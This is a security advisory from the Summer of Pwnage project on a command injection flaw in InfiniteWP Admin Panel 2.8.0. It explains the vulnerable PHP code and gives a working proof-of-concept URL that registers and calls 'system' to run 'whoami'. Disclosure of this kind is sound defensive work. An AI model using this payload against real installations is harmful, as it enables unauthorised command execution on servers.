------------------------------------------------------------------------
Command injection in InfiniteWP Admin Panel
------------------------------------------------------------------------
Sipke Mellema, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
The InfiniteWP Admin Panel can be used to execute arbitrary system
commands. The vulnerability can be exploited using an authorization
bypass or by making an authorized user visit a specially crafted URL.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0006
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/command_injection_in_infinitewp_admin_panel.html
The file ajax.php can be used to execute arbitrary system commands on a system running the InfiniteWP plugin Admin Panel. When an authorized user calls ajax.php, the handler method from the panelRequestManager class is called:
$result = panelRequestManager::handler($_REQUEST);
In this handler an if statement will check access levels, if the method userRestrictChecking is implemented. However, this method is not implemented in the default (free) version.
The code will follow on with converting user input to multiple variables.
$actionResult = $data = array();
$action = $requestData['action'];
$siteIDs = $requestData['args']['siteIDs'];
$params = $requestData['args']['params'];
$extras = $requestData['args']['extras'];
$requiredData = $requestData['requiredData'];
Later on in the code, the method requiredData is called with user data as an argument.
$data = self::requiredData($requiredData);
The method requiredData will try to execute methods supplied by the user, using the method evaluateMethod. Multiple methods are allowed.
foreach($requiredData as $action => $args){
$data[$action] = self::evaluateMethod($action, $args);
The evaluateMethod method will check if the requested action exists in the panelRequestManager class. If so, the action will be called with the arguments as requested by the user. If the method does not exist in the panelRequestManager class, the code will check if the action exists in the array self::$addonFunctions. If it is, the action will get executed.
public static function evaluateMethod($action, $args){
if(method_exists('panelRequestManager', $action)){
if($action == 'getSitesUpdates'){
return self::$action($GLOBALS['userID']);
}else{
return self::$action($args);
}
eif(in_array($action, self::$addonFunctions) && function_exists($action)){
return call_user_func($action, $args);
By default, users can only execute commands that are contained in the panelRequestManager class, or in self::$addonFunctions. But the panelRequestManager class includes a method called addFunctions that can be used to add methods to the array of methods that can be called from evaluateMethod. It's possible to invoke the addFunctions method to include system commands in the list of allowed methods.
public static function addFunctions(){
$args = func_get_args();
self::$addonFunctions = array_merge(self::$addonFunctions, $args);
}
The vulnerability can be exploited using an authorization bypass or by making an authorized user visit a URL.
Proof of concept
Have a logged in user visit the following URL:
http://www.<webserver>.com/IWPAdminPanel_v2.8.0/ajax.php?action=foo&requiredData%5BaddFunctions%5D=system&requiredData%5Bsystem%5D=whoami
It should now look something like:
{"actionResult":[],"data":{"addFunctions":null,"system":"www-data"}...
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.